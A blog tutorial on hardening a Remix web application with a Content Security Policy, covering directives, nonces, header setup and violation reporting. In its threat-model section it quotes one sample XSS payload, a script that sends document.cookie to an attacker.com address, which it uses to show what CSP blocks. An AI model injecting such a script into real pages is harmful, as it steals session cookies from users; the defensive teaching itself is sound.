Security is no longer optional in modern web development—it's a core feature. One of the most effective yet often overlooked methods of protecting your Remix application from cross-site scripting (XSS), clickjacking, and other injection attacks is through the Content Security Policy (CSP) header.
This post will cover:
- What CSP is and how it works
- How to implement it in a Remix application
- How to use nonces for safer inline scripts
- Real-world examples of CSP violations
- Reporting policies for monitoring
Let’s dive in.
🧠 What Is Content Security Policy (CSP)?
A Content Security Policy is a browser-enforced layer of security that tells the browser what it is allowed to load and execute. This is done by specifying a set of rules in the Content-Security-Policy
HTTP header or a <meta>
tag.
For example:
Content-Security-Policy: default-src 'self'; script-src 'self';
This tells the browser to:
- Load everything (scripts, styles, images, etc.) only from the current origin (
'self'
) - Deny loading or executing scripts from any other domain
It can significantly reduce the surface area for XSS attacks and helps mitigate supply chain risks from compromised third-party libraries.
🚧 The Threat Model: Why CSP in Remix?
Remix apps render React pages on the server and send them to the client. This includes hydration scripts, route modules, and potentially third-party analytics or chat widgets. Without a CSP, any XSS vulnerability can be used to execute arbitrary JavaScript, hijack sessions, steal data, or inject malware.
Here’s a real-world example of what CSP could have prevented:
<script> fetch("https://attacker.com/steal", { method: "POST", body: document.cookie }); </script>
With a proper CSP in place, the browser would block this script from executing unless explicitly allowed.
🔐 CSP Basics: Directives You Need to Know
CSP is composed of directives, each governing a type of resource. Common ones include:
Directive | Description |
---|---|
default-src | Fallback policy for all types of content. |
script-src | Specifies valid sources for JavaScript. |
style-src | Controls from where CSS can be loaded. |
img-src | Controls from where images can be loaded. |
connect-src | Specifies valid targets for XHR, WebSockets, and EventSource. |
font-src | Sources for web fonts. |
frame-ancestors | Who can embed the page using <iframe> . |
⚙️ How to Implement CSP in a Remix App
In Remix, server-side rendering gives you full control over headers. We can use this to inject our CSP string dynamically.
Step 1: Define the CSP Policy
You can start with a static policy:
const csp = ` default-src 'self'; script-src 'self' https://www.googletagmanager.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'none'; `.replace(/\s{2,}/g, ' ').trim();
Note:
'unsafe-inline'
is not recommended in production. We'll later discuss how to replace it with nonces.
Step 2: Add CSP to Response Headers
Modify your entry.server.tsx
or custom Express handler:
import type { EntryContext } from "@remix-run/node"; import { RemixServer } from "@remix-run/react"; import { renderToString } from "react-dom/server"; import { Response } from "@remix-run/node"; export default function handleRequest( request: Request, statusCode: number, headers: Headers, context: EntryContext ) { const markup = renderToString(<RemixServer context={context} url={request.url} />); headers.set("Content-Type", "text/html"); headers.set("Content-Security-Policy", csp); return new Response(`<!DOCTYPE html>${markup}`, { status: statusCode, headers }); }
Now every SSR response will include the CSP header.
🔐 Using Nonces for Safer Inline Scripts
To support inline scripts (like those required for Remix hydration), you should use nonces instead of 'unsafe-inline'
.
Step 1: Generate a nonce
In your server code:
const nonce = crypto.randomUUID(); // Or use crypto.randomBytes(16).toString('base64');
Step 2: Inject into CSP
const csp = ` default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'nonce-${nonce}'; `.replace(/\s{2,}/g, ' ').trim();
Step 3: Add nonce to your scripts
In entry.client.tsx
or a custom script:
<script nonce={nonce}> window.__remixContext = ...; </script>
📊 CSP Reporting (Optional but Recommended)
Enable CSP reporting to see violations before enforcing.
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report;
And add a POST endpoint in Remix to handle reports:
export async function action({ request }: ActionArgs) { const report = await request.json(); console.log("CSP Violation:", report); return new Response(null, { status: 204 }); }
You can send these to external tools like Report URI or Sentry.
🧪 Testing Your CSP
-
Browser Console: Check for CSP violations
-
Online Tools:
-
Audit Third-Party Scripts: Avoid adding unnecessary external sources
✅ Best Practices & Gotchas
- Avoid
'unsafe-inline'
in production — usenonce
orsha256-hash
- Use
'strict-dynamic'
if using script nonces extensively - Always test in
Report-Only
mode before enforcement - Review and log CSP reports during beta/staging
- Be cautious with analytics, ads, or widgets—they often require relaxed CSPs
Conclusion
Implementing a solid Content Security Policy in Remix adds a powerful security layer against one of the most dangerous and common attack vectors on the web — XSS. With SSR and full control over headers, Remix makes it easy to enforce a dynamic, flexible CSP using nonces, reporting, and progressive enhancement.
Don’t treat CSP as optional. Start with Report-Only
, review logs, and incrementally deploy a strict policy that balances functionality with protection.
Your Remix app deserves to be secure — and CSP is your first line of defense.
🔐 Need Help Securing Your Web Application?
Implementing a robust Content Security Policy (CSP) is just one piece of the security puzzle. Whether you're launching a new Remix app or tightening an existing one, we help teams build secure, production-ready frontends with best-in-class practices — from CSP to authentication, SSR hardening, and beyond.
Let’s talk about how to secure your Remix or React stack — without compromising on speed or UX.